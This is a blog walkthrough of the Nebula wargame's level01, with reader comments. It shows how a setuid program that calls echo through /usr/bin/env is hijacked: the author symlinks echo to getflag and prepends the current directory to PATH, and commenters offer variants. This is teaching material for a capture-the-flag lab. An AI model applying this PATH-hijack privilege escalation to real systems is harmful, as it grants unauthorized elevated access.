level01
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
#include#include #include #include #include int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
The executable is located in the /home/flag01 directory. On running it, we get the expected output:
level01@nebula:/home/flag01$ ./flag01
and now what?
Importantly, if we check the permissions on the executable:
level01@nebula:/home/flag01$ ls -asl
total 13
0 drwxr-x--- 1 flag01 level01 40 2014-06-03 22:33 .
0 drwxr-xr-x 1 root root 380 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag01 flag01 220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag01 flag01 3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
1 -rw-r--r-- 1 flag01 flag01 675 2011-05-18 02:54 .profile
We can see that this file also has the suid bit set. The problem then is, how do we get this to run “getflag”?
The executable does nothing with command line parameters so we can’t pass anything in there. It does however call echo to output the text. echo is a built-in command to bash (i.e. not a discrete executable like ping would be), so we normally couldn’t override what it does.
However notice that the system call uses /user/bin/env before echo – where is this normally seen? At the start of scripts where we define the interpreter with a shebang.
#!/usr/bin/env python
The reason that /usr/bin/env is used is that scripts need a full path to the interpreter. python could be anywhere, and it is awkward to modify scripts to use a full path from system to system. /usr/bin/env searches the path for the command passed to it and runs it.
This means we can provide our own echo, modify the path so that this echo is called in preference to the built-in, and then we can run arbitrary commands.
The easiest way to provide our own echo that runs getflag is to just create a symbolic link.
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ ls -asl
total 5
0 drwxr-x--- 1 level01 level01 80 2014-06-03 22:41 .
0 drwxr-xr-x 1 root root 380 2012-08-27 07:18 ..
1 -rw-r--r-- 1 level01 level01 220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 level01 level01 3353 2011-05-18 02:54 .bashrc
0 drwx------ 2 level01 level01 60 2014-06-03 18:22 .cache
0 lrwxrwxrwx 1 level01 level01 12 2014-06-03 22:41 echo -> /bin/getflag
1 -rw-r--r-- 1 level01 level01 675 2011-05-18 02:54 .profile
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account
Again – relatively simple. Symbolic links are useful tools for bypassing name and location checks!
jsohpill
December 14, 2015 at 3:15amln -s /bin/getflag echo need sudo permission, it not work
Anirudh
January 8, 2016 at 4:12amDon’t try to create the symbolic link in the /home/flag01 , create it in your home directory instead /home/level01 . you don’t have access to the write in the folder /home/flag01
andy
January 21, 2016 at 9:23amWithout giving too much away – try putting the symbolic link somewhere you have permission to execute – you will also need to modify the path to reflect this change of course.
Jeffrey
January 23, 2016 at 12:37amThe permissions are a problem only if you lack write access in your current directory. Try:
cd ~
ln -s /bin/getflag echo
simonuvarov
February 10, 2016 at 2:11pmYep, it doesn’t. Try to use ‘ln -s /bin/getflag /tmp/echo’ and change PATH to ‘/tmp’
Nobody
April 20, 2016 at 9:41pmAlternatively, you may just change your PATH to include the local directory and run l1; it will use the /home/level01/echo program.
Shinko
May 6, 2017 at 12:37amAnother major purpose of the env binary, is the ability to modify the environment variables inline. If a program is invoked through env (just like how the script does it), the environment variables can be set.
hitosis
November 6, 2017 at 10:27pmWhat does “.:” mean? In the example of “.:$PATH”. Rookie question.
denis
February 25, 2018 at 11:53amhow we were supposed to know that “getflag” needs to be run?.. I don’t find this particularly intuitive
llunv3d
May 12, 2018 at 3:53amVery cool. I’m just getting into this stuff and it blows my mind. Thanks for this great series of tutorials. I know it’s 2018 and I kinda missed the bus, but this is excellent stuff.